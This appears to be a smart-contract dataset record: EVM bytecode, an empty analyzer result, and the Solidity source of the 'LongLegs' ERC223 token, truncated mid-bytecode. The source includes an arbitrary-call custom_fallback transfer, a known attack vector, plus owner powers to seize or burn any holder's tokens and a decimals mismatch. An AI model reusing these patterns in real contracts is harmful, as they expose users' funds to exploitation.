5050610fec565b604051808215151515815260200191505060405180910390f35b34801561067857600080fd5b506106cd600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061116f565b6040518082815260200191505060405180910390f35b3480156106ef57600080fd5b50610730600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050611194565b005b34801561073e57600080fd5b50610773600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112b9565b005b60018054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561080b5780601f106107e05761010080835404028352916020019161080b565b820191906000526020600020905b8154815290600101906020018083116107ee57829003601f168201915b505050505081565b600081600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60045481565b6000600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561099857600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550610a2d848484611357565b600190509392505050565b600360009054906101000a900460ff1681565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610a9b57600080fd5b81600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816004600082825403925050819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a260019050919050565b60056020528060005260406000206000915090505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610bc257600080fd5b80600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550806004600082825401925050819055503073ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a38173ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600081600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610d2857600080fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610db357600080fd5b81600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816004600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a26001905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610fad5780601f10610f8257610100808354040283529160200191610fad565b820191906000526020600020905b815481529060010190602001808311610f9057829003601f168201915b505050505081565b6000610fc2338484611357565b6001905092915050565b60076020528060005260406000206000915054906101000a900460ff1681565b600080849050610ffc8585610813565b15611166578073ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338630876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b838110156110f65780820151818401526020810190506110db565b50505050905090810190601f1680156111235780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15801561114557600080fd5b505af1158015611159573d6000803e3d6000fd5b5050505060019150611167565b5b509392505050565b6006602052816000526040600020602052806000526040600020600091509150505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156111ef57600080fd5b80600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a58282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a15050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561131457600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008273ffffffffffffffffffffffffffffffffffffffff161415151561137d57600080fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515156113cb57600080fd5b600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054011015151561145a57600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156114b357600080fd5b600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561150c57600080fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555080600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050505600a165627a7a7230582091fcf9a55d19f1c8e4ff8082c1e120a3f5c3cc07240db086d7e092a928023b690029
{"success": true, "error": null, "results": {}}
79
0x1ffd205d11b2e200fcc8908afd649cff256f16d0
pragma solidity ^0.4.20; contract ContractReceiver { struct TKN { address sender; uint value; bytes data; bytes4 sig; } function tokenFallback(address _from, uint _value, bytes _data) public pure { TKN memory tkn; tkn.sender = _from; tkn.value = _value; tkn.data = _data; uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24); tkn.sig = bytes4(u); } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC223 { uint public totalSupply; function name() public view returns (string _name); function symbol() public view returns (string _symbol); function decimals() public view returns (uint8 _decimals); function totalSupply() public view returns (uint256 _supply); function balanceOf(address who) public view returns (uint); function transfer(address to, uint value) public returns (bool ok); function transfer(address to, uint value, bytes data) public returns (bool ok); function transfer(address to, uint value, bytes data, string custom_fallback) public returns (bool ok); event Transfer(address indexed from, address indexed to, uint value, bytes indexed data); event Transfer(address indexed _from, address indexed _to, uint256 _value); } contract LongLegs is ERC223, Ownable { using SafeMath for uint256; string public name = "LongLegs"; string public symbol = "XLL"; uint8 public decimals = 7; uint256 public initialSupply = 3e10 * 1e7; uint256 public totalSupply; uint256 public distributeAmount = 0; bool public mintingFinished = false; mapping (address => uint) balances; mapping (address => bool) public frozenAccount; mapping (address => uint256) public unlockUnixTime; event FrozenFunds(address indexed target, bool frozen); event LockedFunds(address indexed target, uint256 locked); event Burn(address indexed burner, uint256 value); event Mint(address indexed to, uint256 amount); event MintFinished(); function LongLegs() public { totalSupply = initialSupply; balances[msg.sender] = totalSupply; } function name() public view returns (string _name) { return name; } function symbol() public view returns (string _symbol) { return symbol; } function decimals() public view returns (uint8 _decimals) { return decimals; } function totalSupply() public view returns (uint256 _totalSupply) { return totalSupply; } function balanceOf(address _owner) public view returns (uint balance) { return balances[_owner]; } modifier onlyPayloadSize(uint256 size){ assert(msg.data.length >= size + 4); _; } function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public returns (bool success) { require(_value > 0 && frozenAccount[msg.sender] == false && frozenAccount[_to] == false && now > unlockUnixTime[msg.sender] && now > unlockUnixTime[_to]); if(isContract(_to)) { if (balanceOf(msg.sender) < _value) revert(); balances[msg.sender] = SafeMath.sub(balanceOf(msg.sender), _value); balances[_to] = SafeMath.add(balanceOf(_to), _value); assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data)); Transfer(msg.sender, _to, _value, _data); Transfer(msg.sender, _to, _value); return true; } else { return transferToAddress(_to, _value, _data); } } function transfer(address _to, uint _value, bytes _data) public returns (bool success) { require(_value > 0 && frozenAccount[msg.sender] == false && frozenAccount[_to] == false && now > unlockUnixTime[msg.sender] && now > unlockUnixTime[_to]); if(isContract(_to)) { return transferToContract(_to, _value, _data); } else { return transferToAddress(_to, _value, _data); } } function transfer(address _to, uint _value) public returns (bool success) { require(_value > 0 && frozenAccount[msg.sender] == false && frozenAccount[_to] == false && now > unlockUnixTime[msg.sender] && now > unlockUnixTime[_to]); bytes memory empty; if(isContract(_to)) { return transferToContract(_to, _value, empty); } else { return transferToAddress(_to, _value, empty); } } function isContract(address _addr) private view returns (bool is_contract) { uint length; assembly { length := extcodesize(_addr) } return (length>0); } function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) { if (balanceOf(msg.sender) < _value) revert(); balances[msg.sender] = SafeMath.sub(balanceOf(msg.sender), _value); balances[_to] = SafeMath.add(balanceOf(_to), _value); Transfer(msg.sender, _to, _value, _data); Transfer(msg.sender, _to, _value); return true; } function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) { if (balanceOf(msg.sender) < _value) revert(); balances[msg.sender] = SafeMath.sub(balanceOf(msg.sender), _value); balances[_to] = SafeMath.add(balanceOf(_to), _value); ContractReceiver receiver = ContractReceiver(_to); receiver.tokenFallback(msg.sender, _value, _data); Transfer(msg.sender, _to, _value, _data); Transfer(msg.sender, _to, _value); return true; } function freezeAccounts(address[] targets, bool isFrozen) onlyOwner public { require(targets.length > 0); for (uint i = 0; i < targets.length; i++) { require(targets[i] != 0x0); frozenAccount[targets[i]] = isFrozen; FrozenFunds(targets[i], isFrozen); } } function lockupAccounts(address[] targets, uint[] unixTimes) onlyOwner public { require(targets.length > 0 && targets.length == unixTimes.length); for(uint i = 0; i < targets.length; i++){ require(unlockUnixTime[targets[i]] < unixTimes[i]); unlockUnixTime[targets[i]] = unixTimes[i]; LockedFunds(targets[i], unixTimes[i]); } } function burn(address _from, uint256 _unitAmount) onlyOwner public { require(_unitAmount > 0 && balanceOf(_from) >= _unitAmount); balances[_from] = SafeMath.sub(balances[_from], _unitAmount); totalSupply = SafeMath.sub(totalSupply, _unitAmount); Burn(_from, _unitAmount); } modifier canMint() { require(!mintingFinished); _; } function mint(address _to, uint256 _unitAmount) onlyOwner canMint public returns (bool) { require(_unitAmount > 0); totalSupply = SafeMath.add(totalSupply, _unitAmount); balances[_to] = SafeMath.add(balances[_to], _unitAmount); Mint(_to, _unitAmount); Transfer(address(0), _to, _unitAmount); return true; } function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; MintFinished(); return true; } function distributeTokens(address[] addresses, uint256 amount) public returns (bool) { require(amount > 0 && addresses.length > 0 && frozenAccount[msg.sender] == false && now > unlockUnixTime[msg.sender]); amount = SafeMath.mul(amount, 1e8); uint256 totalAmount = SafeMath.mul(amount, addresses.length); require(balances[msg.sender] >= totalAmount); for (uint i = 0; i < addresses.length; i++) { require(addresses[i] != 0x0 && frozenAccount[addresses[i]] == false && now > unlockUnixTime[addresses[i]]); balances[addresses[i]] = SafeMath.add(balances[addresses[i]], amount); Transfer(msg.sender, addresses[i], amount); } balances[msg.sender] = SafeMath.sub(balances[msg.sender], totalAmount); return true; } function collectTokens(address[] addresses, uint[] amounts) onlyOwner public returns (bool) { require(addresses.length > 0 && addresses.length == amounts.length); uint256 totalAmount = 0; for (uint i = 0; i < addresses.length; i++) { require(amounts[i] > 0 && addresses[i] != 0x0 && frozenAccount[addresses[i]] == false && now > unlockUnixTime[addresses[i]]); amounts[i] = SafeMath.mul(amounts[i], 1e8); require(balances[addresses[i]] >= amounts[i]); balances[addresses[i]] = SafeMath.sub(balances[addresses[i]], amounts[i]); totalAmount = SafeMath.add(totalAmount, amounts[i]); Transfer(addresses[i], msg.sender, amounts[i]); } balances[msg.sender] = SafeMath.add(balances[msg.sender], totalAmount); return true; } function setDistributeAmount(uint256 _unitAmount) onlyOwner public { distributeAmount = _unitAmount; } function autoDistribute() payable public { require(distributeAmount > 0 && balanceOf(owner) >= distributeAmount && frozenAccount[msg.sender] == false && now > unlockUnixTime[msg.sender]); if (msg.value > 0) owner.transfer(msg.value); balances[owner] = SafeMath.sub(balances[owner], distributeAmount); balances[msg.sender] = SafeMath.add(balances[msg.sender], distributeAmount); Transfer(owner, msg.sender, distributeAmount); } function() payable public { autoDistribute(); } }
0x60606040526004361061013e576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b1461014857806306fdde031461017557806318160ddd14610203578063256fa2411461022c578063313ce567146102a7578063378dc3dc146102d657806340c10f19146102ff5780634f25eced1461035957806364ddc6051461038257806370a082311461041c5780637d64bcb4146104695780638da5cb5b1461049657806395d89b41146104eb5780639dc29fac14610579578063a8f11eb9146105bb578063a9059cbb146105c5578063b414d4b61461061f578063be45fd6214610670578063c341b9f61461070d578063cbbe974b14610772578063d39b1d48146107bf578063f0dc4171146107e2578063f2fde38b14610894578063f6368f8a146108cd575b6101466109ad565b005b341561015357600080fd5b61015b610cf3565b604051808215151515815260200191505060405180910390f35b341561018057600080fd5b610188610d06565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101c85780820151818401526020810190506101ad565b50505050905090810190601f1680156101f55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561020e57600080fd5b610216610dae565b6040518082815260200191505060405180910390f35b341561023757600080fd5b61028d600480803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091908035906020019091905050610db8565b604051808215151515815260200191505060405180910390f35b34156102b257600080fd5b6102ba6111e3565b604051808260ff1660ff16815260200191505060405180910390f35b34156102e157600080fd5b6102e96111fa565b6040518082815260200191505060405180910390f35b341561030a57600080fd5b61033f600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611200565b604051808215151515815260200191505060405180910390f35b341561036457600080fd5b61036c6113e5565b6040518082815260200191505060405180910390f35b341561038d57600080fd5b61041a600480803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091908035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919050506113eb565b005b341561042757600080fd5b610453600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506115ef565b6040518082815260200191505060405180910390f35b341561047457600080fd5b61047c611638565b604051808215151515815260200191505060405180910390f35b34156104a157600080fd5b6104a9611700565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156104f657600080fd5b6104fe611726565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561053e578082015181840152602081019050610523565b50505050905090810190601f16801561056b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561058457600080fd5b6105b9600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506117ce565b005b6105c36109ad565b005b34156105d057600080fd5b610605600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061193d565b604051808215151515815260200191505060405180910390f35b341561062a57600080fd5b610656600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611ad7565b604051808215151515815260200191505060405180910390f35b341561067b57600080fd5b6106f3600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050611af7565b604051808215151515815260200191505060405180910390f35b341561071857600080fd5b6107706004808035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919080351515906020019091905050611c88565b005b341561077d57600080fd5b6107a9600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611e2a565b6040518082815260200191505060405180910390f35b34156107ca57600080fd5b6107e06004808035906020019091905050611e42565b005b34156107ed57600080fd5b61087a60048080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509190803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091905050611ea8565b604051808215151515815260200191505060405180910390f35b341561089f57600080fd5b6108cb600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050612355565b005b34156108d857600080fd5b610993600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506124ad565b604051808215151515815260200191505060405180910390f35b60006007541180156109eb57506007546109e8600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166115ef565b10155b8015610a47575060001515600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b8015610a915750600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b1515610a9c57600080fd5b6000341115610b0857600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f193505050501515610b0757600080fd5b5b610b7560096000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546007546129a3565b60096000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c25600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546007546129bc565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6007546040518082815260200191505060405180910390a3565b600860009054906101000a900460ff1681565b610d0e612f42565b60028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610da45780601f10610d7957610100808354040283529160200191610da4565b820191906000526020600020905b815481529060010190602001808311610d8757829003601f168201915b5050505050905090565b6000600654905090565b60008060008084118015610dcd575060008551115b8015610e29575060001515600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b8015610e735750600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b1515610e7e57600080fd5b610e8c846305f5e1006129da565b9350610e998486516129da565b915081600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610ee957600080fd5b600090505b845181101561114b5760008582815181101515610f0757fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1614158015610f9c575060001515600a60008784815181101515610f4657fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b8015610ffd5750600b60008683815181101515610fb557fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b151561100857600080fd5b61106860096000878481518110151561101d57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054856129bc565b60096000878481518110151561107a57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555084818151811015156110d057fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a38080600101915050610eee565b611194600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836129a3565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060019250505092915050565b6000600460009054906101000a900460ff16905090565b60055481565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561125e57600080fd5b600860009054906101000a900460ff1615151561127a57600080fd5b60008211151561128957600080fd5b611295600654836129bc565b6006819055506112e4600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836129bc565b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60075481565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561144957600080fd5b6000835111801561145b575081518351145b151561146657600080fd5b600090505b82518110156115ea57818181518110151561148257fe5b90602001906020020151600b6000858481518110151561149e57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015156114ef57600080fd5b81818151811015156114fd57fe5b90602001906020020151600b6000858481518110151561151957fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550828181518110151561156f57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff167f1bd6fb9fa2c39ce5d0d2afa1eaba998963eb5f553fd862c94f131aa9e35c157783838151811015156115be57fe5b906020019060200201516040518082815260200191505060405180910390a2808060010191505061146b565b505050565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561169657600080fd5b600860009054906101000a900460ff161515156116b257600080fd5b6001600860006101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61172e612f42565b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156117c45780601f10611799576101008083540402835291602001916117c4565b820191906000526020600020905b8154815290600101906020018083116117a757829003601f168201915b5050505050905090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561182a57600080fd5b60008111801561184257508061183f836115ef565b10155b151561184d57600080fd5b611896600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054826129a3565b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118e5600654826129a3565b6006819055508173ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5826040518082815260200191505060405180910390a25050565b6000611947612f56565b6000831180156119a7575060001515600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b8015611a03575060001515600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b8015611a4d5750600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b8015611a975750600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b1515611aa257600080fd5b611aab84612a15565b15611ac257611abb848483612a28565b9150611ad0565b611acd848483612d49565b91505b5092915050565b600a6020528060005260406000206000915054906101000a900460ff1681565b60008083118015611b58575060001515600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b8015611bb4575060001515600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b8015611bfe5750600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b8015611c485750600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b1515611c5357600080fd5b611c5c84612a15565b15611c7357611c6c848484612a28565b9050611c81565b611c7e848484612d49565b90505b9392505050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611ce657600080fd5b60008351111515611cf657600080fd5b600090505b8251811015611e255760008382815181101515611d1457fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1614151515611d4157600080fd5b81600a60008584815181101515611d5457fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508281815181101515611dbd57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff167f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a583604051808215151515815260200191505060405180910390a28080600101915050611cfb565b505050565b600b6020528060005260406000206000915090505481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611e9e57600080fd5b8060078190555050565b6000806000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611f0957600080fd5b60008551118015611f1b575083518551145b1515611f2657600080fd5b60009150600090505b84518110156122bd5760008482815181101515611f4857fe5b90602001906020020151118015611f8d575060008582815181101515611f6a57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1614155b8015612000575060001515600a60008784815181101515611faa57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b80156120615750600b6000868381518110151561201957fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b151561206c57600080fd5b612